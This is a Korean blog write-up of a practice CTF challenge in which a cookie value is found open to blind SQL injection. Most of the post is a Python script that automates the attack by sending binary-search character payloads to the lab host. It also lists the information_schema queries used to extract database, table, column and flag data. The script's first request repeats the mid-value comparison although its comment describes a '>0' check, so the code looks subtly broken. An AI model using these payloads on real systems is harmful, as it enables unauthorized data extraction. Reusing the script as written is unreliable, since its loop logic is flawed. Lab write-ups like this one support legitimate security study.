본문 바로가기

웹 모의해킹 스터디/과제

[SQL Injection] CTF - SQL Injection Point 1 문제풀이

 

사실 푼건 진작인데 기억이 가물가물해가서 정리해본다

 

 

기억하자. SQL Injection에서는 참/거짓에 따라 달라지는 응답을 확인해야함을.


 

마이페이지에 접속해보면 쿠키의 user에 id가 담겨 있는 것을 확인

 

 

user에 sdf' and '1'='1과 sdf' and '1'='2를 넣었을 때 info의 placeholder 값이 다른 것을 확인 ==> sqli 취약점 발견

 

 

 

취약점을 찾았으니 어떻게 정보를 빼낼지 생각해야한다. 여기선 error based나 union based는 사용할 수 없으므로 blind로 가야한다. 파이썬으로 자동화 코드를 작성해서 추출해보자.

import requests
import urllib.parse

url = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php"

def blind_sqli() : # 쿼리 작성용 함수, 데이터까지 구했으면 ctrl+c
    while True :
        query = input("SQL문 입력> ")
        index_value = "Nothing Here..." #참 거짓 식별
        value = binarySearch(query,index_value)
        print(value + "\n")

def binarySearch(query, index_value) :
    x = 1 #1번째 자리부터 찾기

    start = 32 #공백(spacebar) 부터 비교 시작
    end = 126 #'~'까지 비교
    value = ""
    
    while True :
        mid = (start + end ) // 2

        cookie = {'user' : 'sdf' + blind_query.format(query, x,mid),
          'ajs_user_id' : 'null',
          'ajs_group_id' : 'null',
          'ajs_anonymous_id' : '',
          '_ga' : '',
          '__ssid' : '',
          '_hp2_id.318805607' : '',
          'session' : '',
          'PHPSESSID' : ''}

        response = requests.get(url, cookies=cookie) #만약 get방식이면 수정하기
        print(cookie['user'])
        if index_value not in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
            break
        else :
            cookie = {'user' : 'sdf' + blind_query.format(query, x,mid),
          'ajs_user_id' : 'null',
          'ajs_group_id' : 'null',
          'ajs_anonymous_id' : '',
          '_ga' : '',
          '__ssid' : '',
          '_hp2_id.318805607' : '',
          'session' : '',
          'PHPSESSID' : ''}
            
            response = requests.get(url, cookies=cookie) #만약 get방식이면 수정하기
            print(cookie['user'])
            if index_value not in response.text :
                end = mid #거짓이면 끝 값을 mid로 바꾼다
            else :
                start = mid #참이면 시작 값을 mid로 바꾼다

            if start+1 >= end :
                value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
                x+=1 #그리고 다음 자리 찾는다
                start = 32 #초기화
                end = 126 #초기화

    return value


blind_query = "' AND ascii(substr(({}),{},1))>{} AND '1'='1"
blind_sqli() #blind_query 시작

 

차례로

 

DB 이름 추출 : database(),

테이블 이름 추출 : select table_name from information_schema.tables where table_schema='추출한 db' limit 0,1 (0부터 시작)

컬럼 이름 추출 : select column_name from information_schema.columns where table_name='추출한 테이블' limit 0,1

데이터 추출 : select 추출한 컬럼 from 추출한 테이블

 

입력하면 아래와 같이 플래그가 나온다